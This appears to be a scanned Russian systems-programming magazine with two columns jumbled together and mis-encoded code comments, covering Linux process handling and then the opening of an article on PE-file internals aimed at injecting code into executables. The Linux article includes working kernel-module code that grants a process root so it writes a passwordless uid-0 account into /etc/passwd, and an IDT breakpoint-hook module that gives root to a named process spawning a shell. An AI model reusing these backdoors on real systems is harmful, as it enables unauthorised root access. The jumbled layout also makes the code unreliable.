других процессов для параллельного выполнения несколь- шения процесса, поэтому он передается по ссылке. Воз-
ких программ, и поскольку каждый порожденный процесс вращаемым значением функции будет PID порожденного
выполняется в собственном адресном пространстве, ста- процесса.
тус его выполнения не влияет на родительский процесс. В нашем примере значение первого аргумента равно
Процесс завершает выполнение при помощи системно- идентификатору дочернего процесса.
го вызова exit. Аргументом этого вызова является код стату- Для обработки кода статуса завершения процесса ис-
са завершения процесса. Младшие восемь бит статуса дос- пользуются два макроса – WIFEXITED и WEXITSTATUS,
тупны родительскому процессу при условии, что он выпол- которые определены в файле <sys/wait.h>.
нил системный вызов wait. По соглашению нулевой код ста- Макрос WIFEXITED возвращает ненулевое значение,
туса завершения означает, что процесс завершил выполне- если порожденный процесс был завершен посредством
ние успешно, а ненулевой свидетельствует о неудаче. вызова exit. Макрос WEXITSTATUS возвращает код завер-
Следующий пример демонстрирует работу вызова fork шения порожденного процесса, присвоенного вызовом
и порядок обработки кода статуса завершения процесса: exit. Оба этих макроса обрабатывают значение второго
аргумента функции waitpid – переменной status. Эта пе-
#include <stdio.h> ременная имеет следующий формат:
#include <errno.h>
#include <sys/wait.h> ! биты 0 – 6 – содержат нуль, если порожденный про-
#include <sys/types.h> цесс был завершен с помощью функции exit, или но-
#include <unistd.h>
мер сигнала, завершившего процесс.
int main()
{
! бит 7 – равен 1, если из-за прерывания порожденного
pid_t pid; // èäåíòèôèêàòîð ïðîöåññà процесса сигналом был создан дамп образа процесса
int status; // êîä ñòàòóñà çàâåðøåíèÿ ïðîöåññà (файл core). В противном случае равен 0.
/* Ïðè ïîìîùè fork cîçäàåì äî÷åðíèé ïðîöåññ */ ! биты 8 – 15 – содержат код завершения порожденного
процесса, переданный посредством exit.
switch(pid = fork()) {
case -1: А теперь немного изменим приведенный выше пример
perror("fork");
return -1; для демонстрации возможности запуска в дочернем про-
цессе новой программы:
case 0:
printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n");
....
/* Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí 4 */ switch(pid = fork()) {
exit(4);
} case -1:
perror("fork");
printf("Âûïîëíÿåòñÿ ðîäèòåëüñêèé ïðîöåññ\n"); return -1;
printf("Èäåíòèôèêàòîð äî÷åðíåãî ïðîöåññà - %d\n", pid);
case 0:
/* printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n");
* Æäåì çàâåðøåíèÿ äî÷åðíåãî ïðîöåññà
* è îáðàáàòûâàåì êîä ñòàòóñà çàâåðøåíèÿ execl("/bin/gzip", "gzip", "test.txt", 0);
*/ perror("gzip");
if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) { exit(errno);
printf("Äî÷åðíèé ïðîöåññ ñ PID = %d ↵ }
çàâåðøèë âûïîëíåíèå\n", pid); ....
printf("Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí %d\n", ↵
WEXITSTATUS(status));
} Как видно из приведенного примера, в дочернем про-
return 0; цессе при помощи системного вызова exec запускается
}
на выполнение программа gzip, при помощи которой ар-
Функция waitpid приостанавливает выполнение роди- хивируется файл test.txt.
тельского процесса, пока не завершится порожденный
процесс. Первый аргумент этой функции (pid) указывает, Получение информации о процессе
завершения какого именно порожденного процесса сле- при помощи proc
дует ожидать. Главным источником информации о процессах на пользо-
Первый аргумент может принимать следующие значения: вательском уровне является файловая система proc. Для
! > 0 – ждать завершения процесса с данным иденти- доступа к этой информации достаточно перейти в каталог
фикатором; /proc. Информация о каждом процессе собрана в отдель-
! 0 – ждать завершения любого порожденного процес- ном подкаталоге, имя которого совпадает с идентифика-
са, принадлежащего к той же группе, что и родительс- ционным номером процесса. Так, например, информация
кий; о процессе init находится в подкаталоге 1, т.к. идентифика-
! -1 – ждать завершения любого порожденного про- ционный номер этого процесса зарезервирован и равен 1.
цесса; На примере процесса init рассмотрим, какие файлы
! < -1 – ждать любого порожденного процесса, иденти- присутствуют в каталоге процесса и какую информацию
фикатор группы (GID) которого является абсолютным о процессе они содержат (какая информация в них содер-
значением pid. жится):
#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
#define TASK_UNINTERRUPTIBLE 2
#define TASK_ZOMBIE 4
#define TASK_STOPPED 8
44
программирование
.... unsigned long, каждый разряд которого соответствует од-
struct file * fd_array[NR_OPEN_DEFAULT]; ному сигналу. Номера всех сигналов перечислены в <asm-
};
i386/signal.h>.
В поле next_fd находится число открытых процессом
файлов, а в массиве структур struct file ** fd собрана ин- sigset_t blocked
формация об этих файлах. Структура struct file определе- Маска сигналов, заблокированных процессом. Для бло-
на в <linux/fs.h>. кирования сигнала соответствующий бит устанавливает-
ся в 1.
struct signal_struct *sig
Указатели на обработчики сигналов. Определение struct struct sigpending pending
signal_struct находится в <linux/signal.h>: Содержит номера сигналов, посылаемых процессу. Эта
структура определена в <linux/sched.h> следующим обра-
struct signal_struct { зом:
atomic_t count;
struct k_sigaction action[_NSIG];
spinlock_t siglock; struct sigpending {
}; struct sigqueue *head, **tail;
sigset_t signal;
В массиве структур struct k_sigaction action[_NSIG] на- };
ходятся указатели на функции, которые вызывает процесс
при получении сигналов. Структура struct k_sigaction оп- sigset_t signal, как мы уже рассмотрели, является про-
ределена в <asm-i386/signal>: стой последовательностью бит, и посылка сигнала про-
цессу означает установку бита в соответствующей пози-
struct k_sigaction { ции в 1.
struct sigaction sa;
}; Для более детального ознакомления с вышеперечис-
ленными полями разработаем модуль ядра, который при
Структура struct sigaction определена в этом же файле: загрузке будет отображать информацию об определенном
процессе, подобно тому, как это делает /proc (см. «Полу-
struct sigaction { чение информации о процессе при помощи proc»).
__sighandler_t sa_handler;
unsigned long sa_flags; Для решения этой задачи нам понадобится какой-ни-
void (*sa_restorer)(void); будь процесс. Лучше всего, если он будет функциониро-
sigset_t sa_mask; /* mask last for extensibility */
}; вать в фоновом режиме (в режиме демона, daemon). Этот
процесс после запуска будет выполнять следующие дей-
Адрес обработчика сигнала находится в поле __sighand- ствия:
ler_t sa_handler структуры struct sigaction. Это поле может ! перехватывать все сигналы, а для сигнала SIGUSR1
принимать следующие значения, определенные в <asm- определять новый обработчик;
i386/signal.h>: ! открывать исполняемый файл программы, находящий-
ся в текущем каталоге.
#define SIG_DFL ((__sighandler_t)0) /* default signal handling */
#define SIG_IGN ((__sighandler_t)1) /* ignore signal */
Создадим такой процесс при помощи следующего
Значение SIG_DFL требует выполнения стандартного кода:
действия. Отметим, что SIG_DFL эквивалентен NULL. Зна-
чение SIG_IGN означает, что сигнал будет игнорировать- /* Ôàéë sfc.c */
#include <stdio.h>
ся. Также в этом поле может находиться адрес функции, #include <unistd.h>
которая будет вызвана по приходу сигнала. #include <fcntl.h>
#include <signal.h>
Поле sigset_t sa_mask представляет собой набор сиг- #include <errno.h>
налов, которые должны быть заблокированы в течение #include <sys/types.h>
обработки данного сигнала. Например, если для процес- static pid_t pid; // èäåíòèôèêàòîð ñîçäàâàåìîãî ïðîöåññà
са необходимо заблокировать сигналы SIGHUP и SIGINT,
int main ()
пока обрабатывается сигнал SIGCHLD, тогда относящая- {
ся к SIGCHLD sa_mask для процесса устанавливает раз- pid = fork();
ряды, соответствующие SIGHUP и SIGINT. if (pid < 0) {
Определение sigset_t находится в <asm-i386/signal.h>: perror("fork");
return -1;
}
#define _NSIG 64
#define _NSIG_BPW 32 if (pid == 0) { // äî÷åðíèé ïðîöåññ
#define _NSIG_WORDS (_NSIG / _NSIG_BPW) setsid(); // îòñîåäèíÿåìñÿ îò òåðìèíàëà
start_daemon();
typedef struct { }
unsigned long sig[_NSIG_WORDS];
} sigset_t; return 0;
}
Единственный компонент в sigset_t – это массив из Функция start_daemon() выполняет следующие задачи:
46
программирование
printk(KERN_INFO "ROOT - %s\n", p->fs->root->d_name); Именно для этого сигнала мы ввели новый обработ-
printk(KERN_INFO "PWD - %s\n", p->fs->pwd->d_name); чик, функцию stop_daemon. Извлечем адрес этой функ-
! файлы, открытые процессом sfc: ции из исполняемого файла sfc и сравним его с результа-
том, полученным при работе модуля:
for(i = 0; i < p->files->next_fd; i++)
printk(KERN_INFO "%s\n", ↵ # objdump -x ./sfc | grep stop_daemon
p->files->fd[i]->f_dentry->d_name); 080484D8 g F .text 00000010 stop_daemon
В функции start_daemon() заблокированы все сигналы, Это также платформенно-зависимый вариант функции.
новые обработчики не определены. Функцию stop_daemon Подведем предварительные итоги – мы выяснили, как
оставим без изменений. при помощи модуля ядра можно получить информацию о
Получаем исполняемый файл и определяем адрес выполняющемся процессе и как из ядра послать процес-
функции stop_daemon: су сигнал.
Рассмотрим еще один пример работы с содержимым
# gcc -o sfc sfc.c структуры task_struct.
# objdump -x ./sfc | grep stop_daemon
08048434 g F .text 00000010 stop_daemon Предположим, что в системе зарегистрирован пользо-
ватель play. Идентификатор этого пользователя (UID) ра-
Адрес функции stop_daemon равен 0x08048434. Этот вен 1000, и принадлежит он к группе users (GID=100). От
адрес будет указан в качестве нового обработчика сигна- имени этого пользователя в фоновом режиме выполняет-
ла SIGUSR2 для процесса sfc. ся процесс, который по приходу сигнала SIGUSR2 пыта-
Переопределение обработчика сигнала выполняет не- ется добавить в файл /etc/passwd новую учетную запись
посредственно модуль, вследствие чего функция инициа- для пользователя play1, обладающего правами root:
лизации модуля принимает следующий вид:
play1::0:0:,,,:/home/play1:/bin/bash
static int __init task_on(void)
{
struct task_struct *p; Очевидно, что попытка записи в файл /etc/passwd ка-
кой-либо информации будет безуспешной, если процесс
Ищем структуру, соответствующую процессу sfc: не обладает достаточным уровнем привилегий. Значит,
необходимо выдать этому процессу соответствующие пол-
p = find_task_by_name("sfc"); номочия – права суперпользователя (root).
if(p) printk(KERN_INFO "PID - %d\n", p->pid); Заботу об этом берет на себя модуль ядра, который
else { после загрузки находит структуру, описывающую про-
printk(KERN_INFO "No such task\n");
return 0; цесс, назначает ему права суперпользователя путем ус-
} тановки полей uid/gid, euid/egid, suid/sgid, fsuid/fsgid струк-
туры процесса в 0 и после этого посылает процессу «уве-
Устанавливаем адрес нового обработчика сигнала домление» о том, что тот «выиграл в лотерею» – полу-
SIGURS2 – вписываем адрес функции stop_daemon в поле чил права root.
адреса обработчика sa_handler. Порядковый номер сиг- «Уведомление» представляет собой сигнал SIGUSR2,
нала SIGUSR2 известен и равен 12 (см. <asm-i386/ при получении которого процесс выполняет запись инфор-
signal.h>): мации в файл /etc/passwd, уже имея для этого соответ-
ствующие полномочия.
(unsigned int)p->sig->action[11].sa.sa_handler = 0x8048434; Итак, нам необходим процесс, который по сигналу
SIGUSR2 будет выполнять запись в /etc/passwd. Модифи-
Если мы сейчас же пошлем сигнал процессу, то он его цируем уже имеющийся в нашем распоряжении процесс
не воспримет. Почему? Дело в том, что все сигналы на sfc. Изменениям подвергнутся только функции start_daemon
данный момент заблокированы в функции start_daemon. и stop_daemon.
Чтобы процесс воспринял приход сигнала SIGUSR2, нуж- В функции start_daemon определим новый обработчик
но его разблокировать. Для этого необходимо сбросить для сигнала SIGUSR2:
соответствующий бит в маске заблокированных сигна-
лов – в поле sigset_t blocked структуры task_struct: void start_daemon()
{
sigset_t mask;
sigdelset(p->blocked.sig, SIGUSR2); static struct sigaction act;
sigfillset(&mask);
А теперь посылаем сигнал SIGURS2 процессу: sigdelset(&mask, SIGUSR2);
48
программирование
веден в 59-м выпуске электронного журнала PHRACK
/* Block all signal */ (www.phrack.com), автор которого kad (реальное имя не
sigprocmask(SIG_SETMASK, &mask, NULL);
было указано, только e-mail – kadamyse@altern.org) пока-
act.sa_handler = stop_daemon; зал, как можно присвоить права root текущему процессу
sigaction(SIGUSR2, &act, NULL);
пользователя, используя для этой цели исключения.
for(;;); Замечание. Исключения (exception) – это внутрен-
}
ние прерывания процессора, сигнализирующие ему о
Обработчик сигнала SIGUSR2 – функция stop_daemon – том, что произошла исключительная ситуация, требую-
имеет следующий вид: щая немедленного вмешательства. Яркий пример ис-
ключения – ошибка деления на 0, Divide Error, мнемо-
void stop_daemon() ническое обозначение #DE. Подробная информация об
{
int psw; исключениях и полный их перечень приведен в IA-32 Intel
Architecture Software Developer’s Manual, Volume 3:
unsigned char *str = "play1::0:0:,,,:/home/play1:/bin/bash\n";
System Programming Guide, Chapter 5 «Interrupt and
psw = open("/etc/passwd", O_APPEND|O_RDWR); Exception Handling» (www.intel.com).
if(psw < 0) goto out;
Основная идея заключается в перехвате исключения
if(write(psw, str, 37)) close(psw); номер 3, Breakpoint (мнемоническое обозначение #BP),
out: которое возникает при работе отладчика. Перехват пред-
exit(0); ставляет собой простую замену адреса обработчика ис-
}
ключения #BP в таблице дескрипторов прерываний (IDT,
Тут все просто. Interrupt Descriptor Table) адресом нового обработчика. При
Теперь модуль. Изменения коснутся функции инициа- возникновении #BP управление передается новому обра-
лизации: ботчику, который вернет управление старому, но не сра-
зу – сначала он проверит, кем было сгенерировано ис-
static int __init task_on(void) ключение #BP, т.е. какой процесс является текущим,
{
struct task_struct *p; current. Проверка выполняется путем сравнения значения,
находящегося в поле comm структуры процесса, с шаб-
printk(KERN_INFO "Current - %s\n", current->comm);
лонным значением, которое хранится в новом обработчи-
p = find_task_by_name("sfc"); ке #BP. Короче говоря, сравниваются две строки, при со-
if(p) printk(KERN_INFO "PID - %d\n", p->pid); впадении которых текущий процесс (назовем его «test»)
else { получает привилегии root:
printk(KERN_INFO "No such task\n");
return 0;
} if(strcmp(current->comm, "test") == 0) current->uid = 0;
Назначаем права root процессу sfc для возможности Для того чтобы процесс вызвал исключение #BP, его
записи информации в файл /etc/passwd: необходимо запустить в отладчике и установить где-ни-
будь точку останова, например на функцию main. Как толь-
p->fsuid = 0; ко эта точка будет достигнута, будет сгенерировано ис-
p->fsgid = 0;
ключение #BP и управление получит новый обработчик.
Посылаем процессу сигнал SIGUSR2: Рассмотрим реализацию модуля ядра, выполняющего
перехват #BP ((c) kadamyse@altern.org).
sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1; /* Ôàéë task1.c */
return 0; #include <linux/module.h>
} #include <linux/slab.h>
#include <linux/sched.h>
#include <linux/init.h>
Компилируем и запускаем процесс sfc от имени пользо- #include <linux/types.h>
вателя play. После этого загружаем модуль и пробуем
// Ïðîòîòèï íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
зайти в систему под именем play1. extern void my_stub();
Кроме присвоения привилегий процессу sfc, модуль
// àäðåñ òàáëèöû IDT
отображает также информацию о текущем выполняющем- __u32 idt_addr = 0;
ся процессе: // àäðåñ ñòàðîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
__u32 old_handler = 0;
// àäðåñ ôóíêöèè, êîòîðàÿ áóäåò âûçâàíà ïåðåä îáðàáîò÷èêîì
// èñêëþ÷åíèÿ #BP.
__u32 new_handler = 0;
Именно с помощью команды insmod мы загружаем
модуль. Вопрос: каким образом можно воздействовать на Формат дескриптора IDT определяет следующая струк-
текущий процесс? Ведь по сравнению с фоновым он на- тура:
долго в памяти не задерживается. Например, тот же
insmod – загрузил модуль и сразу на выход. struct descr_idt {
__u16 off_low;
По этому поводу очень интересный пример был при- __u16 sel;
Два поля этой структуры, off_low и off_high, содержат void set_handler(int i, __u32 new_addr)
{
адрес обработчика исключения.
В поле off_low находятся младшие 16 бит, а в поле idt[i].off_high = (__u16)(new_addr >> 16);
idt[i].off_low = (__u16)(new_addr & 0x0000FFFF);
off_high – старшие 16 бит адреса обработчика. Для полу- }
чения адреса обработчика содержимое этих полей необ-
ходимо сложить следующим образом: Параметры этой функции:
! int i – номер дескриптора, в котором нужно изменить
__u32 address = (__u32)(off_high << 16) | off_low); адрес обработчика;
! __u32 new_addr – адрес нового обработчика.
Следующий указатель нам понадобится для размеще-
ния новой таблицы IDT: Перед заменой адресов желательно сохранить адрес
«родного» обработчика. Для этого необходимо прочитать
struct descr_idt *idt; этот адрес из таблицы IDT:
50
программирование
сохранен в переменной old_handler. Запускаем процесс на выполнение:
Все функции, которые мы рассмотрели, будут вызва-
ны во время загрузки модуля ядра:
int init_module()
{
int i = 3; // íîìåð èñêëþ÷åíèÿ — Breakpoint (#BP) Дошли до точки останова #1. Продолжим выполнение
__u32 new_addr; // àäðåñ íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
процесса:
/*
* Ñ÷èòûâàåì àäðåñ òàáëèöû IDT è ôîðìèðóåì íîâóþ òàáëèöó
*/
idt_addr = get_idt_addr();
printk(KERN_INFO "Old IDT address - 0x%08x\n",(__u32)(idt_addr));
set_new_idt();
printk(KERN_INFO "New IDT address - 0x%08x\n",(__u32)(idtr.base)); Запущен новый shell. Проверяем, с какими правами:
new_handler = (__u32)&my_handler; // àäðåñ ô-èè my_handler
/*
* Ñîõðàíÿåì àäðåñ ñòàðîãî îáðàáîò÷èêà #BP, îïðåäåëÿåì àäðåñ
* íîâîãî è ïðîèçâîäèì çàìåíó àäðåñîâ â íîâîé òàáëèöå IDT
*/
old_handler = get_handler(i); В итоге мы получили в свое распоряжение еще один
new_addr = (__u32)&my_stub; shell с правами play. Интересного в этом мало. Другое
set_handler(i, new_addr);
дело, если запустить shell с правами root.
return 0; Завершим работу отладчика:
}
/*
* Îñâîáîæäàåì ïàìÿòü, çàíÿòóþ íîâîé òàáëèöåé IDT Смотрим, какими правами обладает новый shell:
*/
kfree(idt);
printk(KERN_INFO "Old IDT address restore ↵
(0x%08x)\n",(__u32)(idtr.base));
return;
}
На этот раз все получилось так, как мы и предполага-
Процесс, статус которого мы хотим повысить, выгля- ли, – модуль перехватил исключение #BP, которое воз-
дит следующим образом: никло в момент остановки выполнения процесса на функ-
ции main, проверил имя процесса и установил его иденти-
/* Ôàéë test.c */ фикаторы в 0, повысив тем самым уровень привилегий
int main()
{ процесса до root. После этого управление было передано
system("/bin/bash"); «родному» обработчику исключения #BP и процесс про-
return 0;
} должил свое выполнение, но уже с другими правами, ко-
торые и унаследовал новый shell.
Запускаем процесс в отладчике:
Литература:
1. Теренс Чан. Системное программирование на С++ для
UNIX: Пер. с англ. – К.: Издательская группа BHV, 1999. –
Устанавливаем точку останова на функцию main(): 592c.
2. М. Митчелл, Д. Оулдем, А. Самьюэл. Программирова-
ние в Linux. Профессиональный подход.: Пер. с англ. –
М.: Издательский дом «Вильямс», 2002. – 288 с.:ил.
Аноним
Статья подробно описывает формат PE-файлов, раскрывая особенности внутренней кухни системного
загрузчика и двусмысленности фирменной спецификации, предупреждая читателя о многочисленных
ловушках, подстерегающих его на пути внедрения своего кода в чужие исполняемые файлы. Здесь вы
найдете большое количество исходных текстов, законченных решений и наглядных примеров, упрощающих
восприятие материала. Статья ориентирована главным образом на Windows NT/9x и производные от них
системы, но также затрагивает и проблему совместимости с Windows-эмуляторами, такими, например,
как wine и doswin32.
КРИС КАСПЕРСКИ
После публикации статьи, посвященной UNIX-вирусам, ко тают крайне нестабильно, а все потому что упаковщик
мне стали приходить письма с просьбами написать «точно ASPack не соответствует спецификации, закладываясь на
такую же, но только под Windows». Действительно, внедре- те особенности системного загрузчика, преемственности
ние постороннего кода в PE-файлы – очень перспективное которых никто и никому не обещал. В лучшем случае авто-
и нетривиальное занятие, интересное не только вирусопи- ры эмуляторов добавляют в свои продукты обходной код,
сателям, но и создателям навесных протекторов/упаковщи- предназначенный для обработки подобных вещей, в худ-
ков в том числе. шем же – оставляют все как есть, мотивируя это словами
Что же до этической стороны проблемы… политика «воз- «повторять чужое пионерство себе дороже…»
держания» и удержания передовых технологий под сукном А восстановление пораженных объектов? Многие фай-
лишь увеличивает масштабы вирусных эпидемий, и когда лы после заражения отказывают в работе, и попытка вы-
дело доходит до схватки, никто из прикладных программис- лечить их антивирусом лишь усугубляет ситуацию. Всякий
тов и администраторов к ней оказывается не готов. В стане уважающий себя профессионал должен быть готов вычис-
системных программистов дела обстоят еще хуже. Исход- тить вирус вручную, не имея под рукой ничего, кроме hex-
ных текстов операционной системы нет, PE-формат доку- редактора! То же самое относится и к снятию упаковщи-
ментирован кое-как, поведение системного загрузчика во- ков/дезактивации навесных протекторов. Эй! Кто там на-
обще не подчиняется никакой логике, а допрос с пристрас- чал бурчать про злобных хакеров и неэтичность взлома?
тием (читай – дизассемблирование) еще не гарантирует, что Помилуйте, что за фрейдистские ассоциации?! Ну нельзя
остальные загрузчики поведут себя точно так же. же всю жизнь что-то ломать (надо на чем-то и сидеть!). В
На сегодняшний день не существует ни одного более или майском номере «Системного администратора» за 2004 год
менее корректного упаковщика/протектора под Windows, опубликована замечательная статья Андрея Бешкова, жи-
в полной мере поддерживающего фирменную специфика- вописно обрисовывающая возню с протекторами под эму-
цию и учитывающего недокументированные особенности лятором wine. Как говорится, тут не до жиру – быть бы живу.
поведения системных загрузчиков в операционных систе- Какой смысл платить за регистрацию, если воспользоваться
мах Windows 9x/NT. Про различные эмуляторы, такие, на- защищенной программой все равно не удастся?!
пример, как wine, doswin32, мы лучше промолчим, хотя нас Собственно говоря, всякое вмешательство в структуру
так и подмывает сказать, что файлы, упакованные ASPack готового исполняемого файла – мероприятие достаточно
в среде doswin32 либо не запускаются вообще, либо рабо- рискованное, и шанс сохранить ему работоспособность на
52
программирование
всех платформах достаточно невелик. Однако, если вы все- Top to Bottom» от Randy Kath из Microsoft Developer Network
таки решили, что это вам необходимо, пожалуйста, отнеси- Technology Group – это хороший способ запудрить себе
тесь к проектированию внедряемого кода со всей серьезно- мозги и написать мертворожденный PE-дампер, перевари-
стью и следуйте рекомендациям, данным в этой статье. вающий только «честные» файлы и падающий на всех ос-
Широта охватываемых тем не позволила рассказать обо тальных (dumpbin ведь падает!). Аналогичным образом по-
всем в одной статье, и ее пришлось разбить на две части – ступает и Matt Pietrek, обходящий базовые концепции PE-
та, которую вы сейчас держите в руках, посвящена описа- файла стороной и начинающий процесс описания с сере-
нию малоизвестных особенностей PE-файлов, без знания дины, но так и не доводящий его до логического конца.
которых свой упаковщик/протектор ни за что не написать Иначе поступает автор статьи «Об упаковщиках в пос-
(по крайней мере работоспособный упаковщик/протектор – ледний раз» (http://www.wasm.ru/print.php?article= packlast01
точно). А конкретные механизмы внедрения чужеродного и http://www.wasm.ru/print.php?article=packers2), сосредото-
кода мы рассмотрим в следующий раз. чивший свои усилия на исследовании системного загруз-
чика W2K/XP и допустивший при этом большое количество
Особенности структуры PE-файлов фактических ошибок, полный разбор которых потребовал
бы отдельной статьи. При всей ценности этой работы она
в конкретных реализациях нисколько не проясняет ситуацию и только добавляет воп-
Знакомство читателя с PE-форматом не входит в нашу за- росов. Автор сетует на то, что работа загрузчика полнос-
дачу и предполагается, что некоторый опыт работы с ними у тью не документирована и даже у Руссиновича обнаружи-
него уже имеется. Существует множество описаний PE-фор- ваются лишь обрывки информации. Ну была бы она доку-
мата, но среди них нет ни одного по-настоящему хорошего. ментирована – что бы от этого изменилось? Какое нам дело
Официальная спецификация (Microsoft Portable Executable до того, что в W2K/XP загрузка файла сводится к вызову
and Common Object File Format Specification), написанная MmCreateSection? Во-первых, в остальных системах это не
двусмысленным библейским языком, скорее напоминает так, а во-вторых, это сегодня Microsoft стремится весь ввод/
сферического коня в вакууме, чем практическое руковод- вывод делать через mmap, но когда до горячих американс-
ство. Даже среди сотрудников Microsoft нет единого мнения ких парней дойдет, что это тормоза, а не ускорение, поли-
по поводу, как именно следует его толковать, и различные тика изменится, и MmCreateSection отправятся на заслу-
системные загрузчики ведут себя сильно неодинаково. Что женный отдых (в чулан ее, на полку!).
же касается сторонних разработчиков, то здесь и вовсе ца- Дизассемблировать ядро совсем небесполезно, но вот
рит полная неразбериха. закладываться на полученные результаты, не проверив их
Понимание структуры готового исполняемого файла на остальных осях, ни в коем случае нельзя! Верить в спе-
еще не наделяет вас умением самостоятельно собирать цификации по меньшей мере наивно, ведь всякая специ-
такие файлы вручную. Операционные системы облагают фикация – это только слова, а всякий программный код –
нас весьма жесткими ограничениями, зачастую вообще лишь частный случай реализации. И то, и другое непосто-
не упомянутыми в документации и варьирующимися от янно и переменчиво. Чтение книжек (равно как и протира-
одной ОС к другой. Не так-то просто создать файл, загру- ние штанов в учебных заведениях различной степени тя-
жающийся больше чем на одной машине (которой, как жести) еще никого не сделало программистом. Лишь «опыт,
правило, является машина его создателя). Один шаг в сын ошибок трудных», да общение с коллегами-системщи-
сторону – и загрузчик открывает огонь без предупрежде- ками, позволят избежать грубых ошибок1. Как говорится,
ния, выдавая малоинформативное сообщение в стиле не падает только тот, кто лежит, а кто бежит – падает, на-
«файл не является win32 приложением», после чего оста- ступает на грабли и попадает в логические ямы, глубо-
ется только гадать: что же здесь неправильно (кстати го- кие, как колодцы из романа Мураками.
воря, Windows 9x намного более подробно диагностирует Автор, имеющий богатый опыт в работе с PE-файла-
ошибку, чем Windows NT, если, конечно, некорректный ми и помнящий численные значения смещений всех струк-
файл не вгонит ее в крутой завис, а виснет она на удивле- тур как отче наш, в процессе работы над статьей в такие
ние часто – загрузчик там писали пионеры не иначе). колодцы попадал неоднократно (да и сейчас там сидит).
Технические писатели, затрагивающие тему исполняе- Всякое значение подобно больному зубу – если его не тро-
мых файлов и совершенно не разбирающиеся в предмет- гать, он не будет ныть. Отдельные пробелы, неясности и
ной области, за которую взялись, за неимением лучших непонятности неизбежны. Когда пишешь рабочие замет-
идей прибегают к довольно грязному трюку и подменяют ки «для себя», просто махаешь рукой и говоришь: да ка-
одну тему другой. Отталкиваясь от уже существующих PE- кая разница, что этот большой красный рубильник дела-
файлов, созданных линкером, они долго и занудно объяс- ет? Работает ведь – и ладно… Статья – дело другое и тут
няют назначение каждого из полей, демонстративно про- хочешь не хочешь, а будь добр разложить все по полоч-
гуливаясь по ссылочным структурам от вершины до дна. кам! Автор выражает глубокую признательность удиви-
Сложнее разобраться, почему эти структуры сконструиро- тельному человеку, мудрому программисту и создателю
ваны именно так, а не иначе. Какой в них заложен запас замечательного линкера ulink Юрию Харону (ftp://
прочности? Каким именно образом их интерпретирует си- ftp.styx.cabel.net/pub/UniLink), терпеливо отвечавшему на
стемный загрузчик? А что на счет предельно допустимых мои сумбурные и нечетко сформулированные вопросы.
значений? Увы, все эти вопросы остаются без ответа. Чте- Если бы не его консультации, эта статья ни за что бы не
ние статей в стиле «The Portable Executable File Format from получилось такой, какова она есть!
54
программирование
оверлеями. Собственно говоря, оверлеями их можно на- Все PE-файлы без исключения (и системные драйве-
зывать только в переносном смысле. Спецификация на ры в том числе!) начинаются с old-exe заголовка, за кон-
PE-файлы этого термина в упор не признает и никаких, цом которого следует dos-заглушка (ms-dos real-mode stub
даже самых примитивных, механизмов поддержки с овер- program или просто stub), обычно выводящая разочаро-
леями win32 API не обеспечивает (не считая, конечно, при- вывающее ругательство на терминал, хотя в некоторых
митивного ввода/вывода). случаях в нее инкапсулирована MS-DOS версия програм-
За сим все! Теперь, после составления контурной кар- мы, но это уже экзотика. Мэтт Питтерек в «Секретах сис-
ты PE-файлов, можно смело приступать к ее детализа- темного программирования под Windows 95» пишет: «пос-
ции, не рискуя заблудиться в непроходимых терминоло- ле того как загрузчик win32 отобразит в память PE-файл,
гических и технических джунглях. первый байт отображения файла соответствует первому
Внимание! Эту статью нельзя читать как приключен- байту заглушки DOS». Это неверно! Первый байт отобра-
ческий роман или детектив. Разумеется, я приложил все жения соответствует первому байту самого файла, т.е.
усилия и как мог структурировал материал, стремясь пи- отображение всегда начинается с сигнатуры «MZ», в чем
сать максимально доходчивым языком, хотя бы и ценой легко можно убедиться, загрузив файл в отладчик и про-
второстепенных деталей. Тем не менее для оперативного смотрев его дамп.
переваривания информации вам придется обложиться PE-заголовок, в подавляющем большинстве случаев
стопками распечаток и, вооружившись hex-редактором, начинающийся непосредственно за концом old-exe про-
сопровождать чтение статьи перемещением курсора по граммы, на самом деле может быть расположен в любом
файлу, чтобы самостоятельно «потрогать руками» все месте файла – хоть в середине, хоть в конце, т.к. загруз-
описываемые здесь структуры… чик определяет его положение по двойному слову e_lfanew,
Да осилит дорогу идущий! Когда вы доберетесь до кон- смещенному на 3Ch байт от начала файла.
ца, вы поймете, почему не работают некоторые файлы, PE-заголовок представляет собой 18h-байтовую струк-
упакованные ASPack/ASPrpotect, и как это исправить, не туру данных, описывающую фундаментальные характе-
говоря уже о том, что сможете создавать абсолютно ле- ристики файла и содержащую «PE\x0\x0»-сигнатуру, по
гальные файлы, которые ни один дизассемблер не дизас- которой файл, собственно говоря, и отождествляется.
семблирует в принципе! Непосредственно за концом PE-заголовка следует оп-
циональный заголовок, специфицирующий структуру стра-
Структура PE-файла ничного имиджа более детально (базовый адрес загруз-
ки, размер образа, степень выравнивания – все это и мно-
PE File Format гое другое задается именно в нем). Название «опциональ-
MS-DOS ный» выбрано не очень удачно и слабо коррелирует с ок-
MZ Header ружающей действительностью, ибо без опционального
MS-DOS Real-Mode заголовка файл попросту не загрузится, так какой же он
Stub Program «опциональный», если обязательный? (Впрочем, когда PE-
PE File Signature формат только создавался, все было по-другому, а сей-
PE File час мы вынуждены тащить это наследие старины за со-
Header бой.) Важной структурой опционального заголовка явля-
PE File ется DATA_DIRECTORY, представляющая собой массив
Optional Header указателей на подчиненные структуры данных, как то: таб-
.text Section Header лицы экспорта и импорта, отладочную информацию, таб-
лицу перемещаемых элементов и т. д. Типичный размер
.bss Section Header опционального заголовка составляет E0h байт, но может
варьироваться в ту или иную сторону, что определяется
.rdata Section Header
полнотой занятости DATA_DIRECTORY, а также количе-
. ством мусора за ее концом (если таковой вдруг там есть,
.
хотя его настоятельно рекомендуется избегать). Может по-
.
казаться забавным, но размер опционального заголовка
.debug Section Header хранится в PE-заголовке, так что эти две структуры очень
тесно связаны.
.text Section
За концом опционального заголовка следует суверен-
.bss Section
ная территория, оккупированная таблицей секций. Поли-
тическая принадлежность ее весьма условна. Ни к одному
.rdata Section из заголовков она не принадлежит и, судя по всему, явля-
ется самостоятельным заголовком безымянного типа (под-
.
.
